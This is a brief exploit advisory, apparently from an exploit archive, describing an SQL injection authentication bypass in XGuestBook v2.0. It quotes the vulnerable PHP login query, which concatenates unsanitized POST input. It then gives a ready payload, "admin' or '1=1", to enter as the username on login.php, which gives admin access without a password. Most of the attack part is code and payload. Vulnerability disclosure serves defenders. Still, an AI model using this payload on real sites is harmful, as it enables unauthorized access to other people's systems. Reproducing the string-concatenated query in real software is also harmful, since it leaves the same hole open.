XGuestBook version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
0532bfa977c8a5f49e2bcd69ed28835dd3ed1cffba0ab695ad58a888a2576f5a
##########################################################################
Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org
Vulnerability = SQL Admin Auth Bypass
Software = XGuestBook v2.0
Download =http://script.wareseeker.com/download/xguestbook.rar/14488
Greets to = Osirys, Myral, str0ke
###########################################################################
[CODE]
$user = $_POST['user'];
$pass = md5($_POST['pass']);
$result = mysql_query("SELECT * FROM xgb_user WHERE user='" . $user . "'
AND pass= '" . $pass . "'", $db_conn) or die (mysql_error());
[/CODE]
[EXPLOIT]
[URL] = http://www.site.com/login.php
you can inject SQL code in the USER space to bypass the admin login
[USER] = admin' or '1=1
[/EXPLOIT]
############################################################################